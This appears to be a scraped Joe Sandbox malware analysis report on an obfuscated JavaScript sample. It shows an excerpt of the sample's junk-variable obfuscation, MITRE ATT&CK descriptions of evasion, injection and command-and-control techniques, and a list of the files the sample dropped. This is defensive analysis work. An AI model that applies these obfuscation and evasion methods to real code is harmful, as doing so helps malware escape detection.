1234	ojajyfgza = "q";
1235	ojajyfgza = "P";
1236	ojajyfgza = "d";
1237	ojajyfgza = "x";
1238	ojajyfgza = "q";
1239	ojajyfgza = "x";
1240	ojajyfgza = "O";
1241	ojajyfgza = "v";
1242	ojajyfgza = "T";
1243	ojajyfgza = "a";
1244	zjeqpa = "M";
1245	zjeqpa = "h";
1246	zjeqpa = "U";
1247	zjeqpa = "r";
1248	zjeqpa = "N";
1249	zjeqpa = "q";
1250	zjeqpa = "q";
1251	zjeqpa = "d";
1252	zjeqpa = "L";
1253	zjeqpa = "T";
1254	zjeqpa = "i";
1255	zjeqpa = "q";
1256	zjeqpa = "z";
1257	zjeqpa = "w";
1258	zjeqpa = "y";
1259	zjeqpa = "R";
1260	zjeqpa = "j";
1261	mlywezcm = "n";
1262	mlywezcm = "B";
1263	mlywezcm = "S";
1264	mlywezcm = "W";
1265	mlywezcm = "I";
1266	mlywezcm = "f";
1267	mlywezcm = "n";
1268	mlywezcm = "I";
1269	mlywezcm = "o";
1270	mlywezcm = "K";
1271	mlywezcm = "X";
1272	mlywezcm = "K";
1273	mlywezcm = "A";
1274	mlywezcm = "k";
1275	mlywezcm = "n";
1276	mlywezcm = "Z";
1277	mlywezcm = "g";
1278	mlywezcm = "Q";
1279	mlywezcm = "A";
1280	mlywezcm = "f";
1281	mlywezcm = "d";
1282	mlywezcm = "p";
1283	mlywezcm = "W";
1284	mlywezcm = "M";
1285	mlywezcm = "W";
1286	mlywezcm = "F";
1287	mlywezcm = "d";
1288	mlywezcm = "v";
1289	mlywezcm = "r";
1290	mlywezcm = "e";
1291	wpwhu = "p";
1292	wpwhu = "P";
1293	wpwhu = "L";
1294	wpwhu = "i";
1295	wpwhu = "D";
1296	wpwhu = "D";
1297	wpwhu = "G";
1298	wpwhu = "A";
1299	wpwhu = "b";
1300	wpwhu = "c";
1301	wpwhu = "W";
1302	wpwhu = "r";
1303	wpwhu = "t";
1304	wpwhu = "X";
1305	wpwhu = "c";
1306	wpwhu = "i";
1307	wpwhu = "h";
1308	wpwhu = "R";
1309	wpwhu = "D";
1310	wpwhu = "m";
1311	wpwhu = "g";
1312	wpwhu = "v";
1313	wpwhu = "r";
1314	wpwhu = "F";
1315	wpwhu = "M";
1316	wpwhu = "F";
1317	wpwhu = "Y";
1318	wpwhu = "U";
1319	wpwhu = "I";
1320	wpwhu = "G";
1321	wpwhu = "r";
1322	wpwhu = "F";
1323	wpwhu = "T";
1324	wpwhu = "F";
1325	wpwhu = "N";
1326	wpwhu = "a";
1327	wpwhu = "z";
1328	wpwhu = "u";
1329	wpwhu = "w";
1330	wpwhu = "e";
1331	wpwhu = "D";
1332	wpwhu = "3";
1333	eyzbhxg = "N";
1334	eyzbhxg = "L";
1335	eyzbhxg = "f";
1336	eyzbhxg = "a";
1337	eyzbhxg = "i";
1338	eyzbhxg = "I";
1339	eyzbhxg = "E";
1340	eyzbhxg = "C";
1341	eyzbhxg = "n";
1342	eyzbhxg = "m";
1343	eyzbhxg = "z";
1344	eyzbhxg = "Z";
1345	eyzbhxg = "N";
1346	eyzbhxg = "H";
1347	eyzbhxg = "o";
1348	eyzbhxg = "b";
1349	eyzbhxg = "D";
1350	eyzbhxg = "n";
1351	eyzbhxg = "Q";
1352	eyzbhxg = "n";
1353	eyzbhxg = "K";
1354	eyzbhxg = "D";
1355	eyzbhxg = "e";
1356	eyzbhxg = "I";
1357	eyzbhxg = "y";
1358	eyzbhxg = "F";
1359	bbmzobdf ( );	bbmzobdf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 20607103592010424982.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3a0603c4-d93e-46c8-b31c-39448677b94a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3428

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
20607103592010424982.js